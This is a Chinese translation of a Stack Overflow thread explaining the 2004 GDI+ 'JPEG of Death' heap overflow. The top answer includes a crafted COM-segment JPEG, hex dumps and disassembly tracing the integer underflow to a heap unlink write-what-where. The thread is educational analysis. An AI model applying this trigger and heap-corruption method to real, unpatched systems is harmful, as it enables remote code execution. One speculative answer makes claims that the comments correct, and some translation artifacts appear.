JPEG of Death漏洞是如何运作的?

95

我在研究一个与GDI+有关的旧漏洞,它针对Windows XP和Windows Server 2003,被称为“JPEG of death”,这是我正在处理的一个项目。

以下链接详细解释了这个漏洞: http://www.infosecwriters.com/text_resources/pdf/JPEG.pdf

基本上,JPEG文件包含一个名为COM的部分,其中包含一个(可能为空的)注释字段,以及一个包含COM大小的两个字节值。如果没有注释,则大小为2。读取器(GDI+)读取大小,减去2,并分配适当大小的缓冲区到堆中来复制注释。 攻击涉及将值0放入该字段中。 GDI+会减去2,导致值-2 (0xFFFe),然后通过memcpy转换为无符号整数0XFFFFFFFE

代码示例:

unsigned int size;
size = len - 2;
char *comment = (char *)malloc(size + 1);
memcpy(comment, src, size);

请注意第三行的malloc(0)应返回指向堆上未分配内存的指针。 写入0XFFFFFFFE字节(4GB!!!)怎么可能不会崩溃程序? 这样是否会将写入超出堆区域并进入其他程序和操作系统的空间? 那会发生什么?
据我所理解,memcpy只是将目标中的n个字符复制到源中。 在这种情况下,源应在堆栈上,目标应在堆上,n4GB

malloc将从堆中分配内存。我认为利用是在memcpy之前完成的,在内存分配之后完成的。 - iedoc
只是顺便提一下:它并不是使用memcpy将值提升为无符号整数(4个字节),而是使用减法。 - rev
1
用一个实际的例子更新了我之前的回答。malloc分配的大小只有2个字节,而不是0xFFFFFFFE。这个巨大的大小仅用于复制大小,而不是分配大小。 - Neitsa
2个回答

97

这个漏洞明显是一个堆溢出

写入0XFFFFFFFE字节(4 GB!!!),怎么可能不会导致程序崩溃呢?

通常情况下,它确实会导致程序崩溃,但在一些情况下,您有时间在崩溃发生之前利用这个漏洞(有时,您可以将程序恢复到正常执行并避免崩溃)。

当memcpy()开始时,拷贝操作会覆盖其他一些堆块或堆管理结构的某些部分(例如空闲列表,忙碌列表等)。

在某个点上,拷贝过程将遇到一个未分配的页面,并触发一个写访问冲突错误(Access Violation)。GDI + 然后尝试在堆中分配新的块 (请参见 ntdll!RtlAllocateHeap) ...... 但此时堆结构已经混乱。

此时,通过精心设计的JPEG图像,您可以使用受控数据来覆盖堆管理结构。当系统尝试分配新块时,它可能会从空闲列表中取消链接一个(空闲)块。

块是通过 flink (前向链 ; 列表中的下一个块) 和 blink(后向链; 列表中的前一个块)指针进行管理的。如果您同时控制 flink 和 blink,您可能有一个可能的 WRITE4 (write What/Where condition),其中您可以控制您能写入什么以及您可以写入哪里。

此时,您可以覆盖函数指针 (SEH [Structured Exception Handlers] 指针在2004年时是首选目标) 并获得代码执行权。

详见博客文章:堆破坏:案例研究

注意:尽管我写了关于使用空闲列表进行利用的内容,但攻击者可能会选择使用其他堆元数据的路径 ("堆元数据" 是系统用于管理堆的结构; flink 和 blink 是堆元数据的一部分),但 unlink 利用可能是 "最简单" 的一种方式。在Google上搜索 "堆利用" 将返回大量关于此方面的研究。

这是否会写入到堆区域之外,进入其他程序和操作系统的空间?

不会。现代操作系统基于虚拟地址空间的概念,因此每个进程都有自己的虚拟地址空间,可以在32位系统上寻址高达4 GB的内存(实际上,在用户领域中你只能使用其中一半,剩下的是给内核用的)。

简而言之,一个进程不能访问另一个进程的内存(除非通过一些服务/ API 向内核请求,但内核会检查调用方是否有权这样做)。
我决定在这个周末测试这个漏洞,以便我们可以得到一个比单纯猜测更好的理解。这个漏洞已经存在了10年,所以我认为写一篇文章介绍它是可以的,尽管我没有在这篇答案中解释利用部分。 计划 最困难的任务是找到只有 Windows XP SP1 的版本,就像在2004年一样 :)
然后,我下载了一个仅由单个像素组成的 JPEG 图像,如下所示(为了简洁起见截断):
File 1x1_pixel.JPG
Address   Hex dump                                         ASCII
00000000  FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF  `
00000010  00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49|  `  ÿá Exif  II
00000020  2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| *          ÿÛ C
[...]

JPEG图片由二进制标记(介绍片段)组成。在上面的图像中,FF D8是SOI(图像开始)标记,而FF E0,例如,是应用程序标记。

除了一些标记(如SOI)的标记段中的第一个参数是两个字节的长度参数,它编码标记段中的字节数,包括长度参数和不包括两个字节标记。

我只是在SOI之后添加了一个COM标记(0x FFFE ),因为标记没有严格的顺序。

File 1x1_pixel_comment_mod1.JPG
Address   Hex dump                                         ASCII
00000000  FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ  0000000100
00000010  30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020  30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030  30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]

COM段的长度设置为00 00以触发漏洞。我还在COM标记后注入了0xFFFC字节,使用递归模式和4字节数字的十六进制表示,这将在“利用”漏洞时变得方便。 调试 双击图像将立即在Windows资源管理器(也称为“explorer.exe”)中触发错误,在一个名为GpJpegDecoder::read_jpeg_marker() 的函数中,位于gdiplus.dll中的某个位置。
此函数针对图像中的每个标记调用,它简单地读取标记段大小,分配长度为段大小的缓冲区,并将段的内容复制到此新分配的缓冲区中。
这里是函数的开始部分:
.text:70E199D5  mov     ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8  push    esi
.text:70E199D9  mov     esi, [ebx+18h]
.text:70E199DC  mov     eax, [esi]      ; eax = pointer to segment size
.text:70E199DE  push    edi
.text:70E199DF  mov     edi, [esi+4]    ; edi = bytes left to process in the image
< p > eax 寄存器指向段大小,edi 则是镜像中剩余的字节数。

该代码接着读取段大小,从最高有效位开始(长度为 16 位):

.text:70E199F7  xor     ecx, ecx        ; segment_size = 0
.text:70E199F9  mov     ch, [eax]       ; get most significant byte from size --> CH == 00
.text:70E199FB  dec     edi             ; bytes_to_process --
.text:70E199FC  inc     eax             ; pointer++
.text:70E199FD  test    edi, edi
.text:70E199FF  mov     [ebp+arg_0], ecx ; save segment_size

最不重要的字节:

.text:70E19A15  movzx   cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19  add     [ebp+arg_0], ecx   ; save segment_size
.text:70E19A1C  mov     ecx, [ebp+lpMem]
.text:70E19A1F  inc     eax             ; pointer ++
.text:70E19A20  mov     [esi], eax
.text:70E19A22  mov     eax, [ebp+arg_0] ; eax = segment_size

完成这一步骤后,分段大小被用来分配一个缓冲区,按照以下计算方式进行:

alloc_size = segment_size + 2

下面的代码实现了此功能:

.text:70E19A29  movzx   esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D  add     eax, 2 
.text:70E19A30  mov     [ecx], ax 
.text:70E19A33  lea     eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36  push    eax             ; dwBytes
.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)

在我们的情况下,由于段大小为0,分配给缓冲区的空间大小为2个字节

漏���就在分配之后:

.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)
.text:70E19A3C  test    eax, eax
.text:70E19A3E  mov     [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41  jz      loc_70E19AF1
.text:70E19A47  mov     cx, [ebp+arg_4]   ; low marker byte (0xFE)
.text:70E19A4B  mov     [eax], cx         ; save in alloc (offset 0)
;[...]
.text:70E19A52  lea     edx, [esi-2]      ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61  mov     [ebp+arg_0], edx

这段代码只是从整个段的大小中减去segment_size的大小(segment长度是2字节的值),最终导致了整数下溢:0 - 2 = 0xFFFFFFFE

接下来,代码检查图像中是否有剩余的字节需要解析(是的),然后跳到复制操作:

.text:70E19A69  mov     ecx, [eax+4]  ; ecx = bytes left to parse (0x133)
.text:70E19A6C  cmp     ecx, edx      ; edx = 0xFFFFFFFE
.text:70E19A6E  jg      short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4  mov     eax, [ebx+18h]
.text:70E19AB7  mov     esi, [eax]      ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9  mov     edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC  mov     ecx, edx        ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE  mov     eax, ecx
.text:70E19AC0  shr     ecx, 2          ; size / 4
.text:70E19AC3  rep movsd               ; copy segment content by 32-bit chunks

以上代码片段显示复制大小为0xFFFFFFFE 32位块。源缓冲区是可控的(图片内容),目标缓冲区在堆上。
写入条件:
当复制到内存页的末尾时(可能是源指针或目标指针),复制将触发访问冲突(AV)异常。当AV被触发时,堆已经处于易受攻击状态,因为复制已经覆盖了所有后续的堆块,直到遇到非映射页面。
这个bug能够被利用的原因是这部分代码中有3个SEH(结构化异常处理程序;这是低级try/except)。更确切地说,第一个SEH将展开堆栈,使其返回解析另一个JPEG标记,从而完全跳过触发异常的标记。
如果没有SEH,代码将仅崩溃整个程序。所以代码跳过了COM段并解析了另一个段。因此,我们回到GpJpegDecoder :: read_jpeg_marker(),并使用一个新的段来分配新的缓冲区。
.text:70E19A33  lea     eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36  push    eax             ; dwBytes
.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)

系统将从空闲列表中取消关联一个块。由于元数据结构被图像内容覆盖,我们使用可控元数据来控制取消关联。下面的代码在系统(ntdll)的堆管理器中的某个地方:
CPU Disasm
Address   Command                                  Comments
77F52CBF  MOV ECX,DWORD PTR DS:[EAX]               ; eax points to '0003' ; ecx = 0x33303030
77F52CC1  MOV DWORD PTR SS:[EBP-0B0],ECX           ; save ecx
77F52CC7  MOV EAX,DWORD PTR DS:[EAX+4]             ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA  MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0  MOV DWORD PTR DS:[EAX],ECX               ; write 0x33303030 to 0x34303030!!!

现在我们可以在任何地方书写我们想要的内容...

3

因为我不知道GDI的代码,所以下面只是猜测。

有一件事情让我想起了一些操作系统上的行为(我不知道Windows XP是否有这种情况),那就是当使用new / malloc分配内存时,只要您不写入该内存,实际上可以分配超过RAM的内存。

这实际上是Linux内核的一种行为。

来自www.kernel.org:

进程线性地址空间中的页面并不一定驻留在内存中。例如,代表进程进行的分配不会立即得到满足,因为该空间仅在vm_area_struct中保留。

必须触发页面错误才能将其置于常驻内存中。

基本上,您需要在系统上分配内存之前使内存变脏:

  unsigned int size=-1;
  char* comment = new char[size];

有时它实际上不会在RAM中进行真正的分配(您的程序仍然不会使用4GB)。我知道我曾经在Linux上看到过这种行为,但是现在我无法在我的Windows 7安装中复制它。
从这种行为开始,以下场景是可能的。
为了使该内存存在于RAM中,您需要将其标记为“脏”(基本上是memset或其他写入操作):
  memset(comment, 0, size);

然而,此漏洞利用的是缓冲区溢出而非分配失败。
换句话说,如果我有以下内容:
 unsinged int size =- 1;
 char* p = new char[size]; // Will not crash here
 memcpy(p, some_buffer, size);

这会导致写入缓冲区,因为不存在连续的4 GB内存段。
你没有在p中放置任何内容来使整个4 GB内存变脏,并且我不知道memcpy是否一次性使内存变脏,还是按页分(我认为是按页分)。
最终它将覆盖堆栈帧(堆栈缓冲区溢出)。
另一个可能的漏洞是如果将图片作为字节数组保留在内存中(将整个文件读入缓冲区),并且使用sizeof注释只是跳过非关键信息。
例如:
     unsigned int commentsSize = -1;
     char* wholePictureBytes; // Has size of file
     ...
     // Time to start processing the output color
     char* p = wholePictureButes;
     offset = (short) p[COM_OFFSET];
     char* dataP = p + offset;
     dataP[0] = EvilHackerValue; // Vulnerability here

正如您所提到的,如果GDI没有分配那个大小,程序就永远不会崩溃。


4
这可能是在64位系统中,4GB的地址空间不算什么大问题。但在32位系统中,(它们似乎也容易受到攻击),你无法保留4GB的地址空间,因为那就是全部了!所以malloc(-1U)肯定会失败,返回NULL,并且memcpy()也会崩溃。 - rodrigo
9
我不认为这句话是正确的:“最终它将写入另一个进程的地址。”通常情况下,一个进程无法访问另一个进程的内存。请参阅内存管理单元的好处 - chue x
@MMU福利是的,你说得对。我本来想说会超出正常堆边界并开始覆盖堆栈帧。我会编辑我的答案,感谢你指出这一点。 - MichaelCMS

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接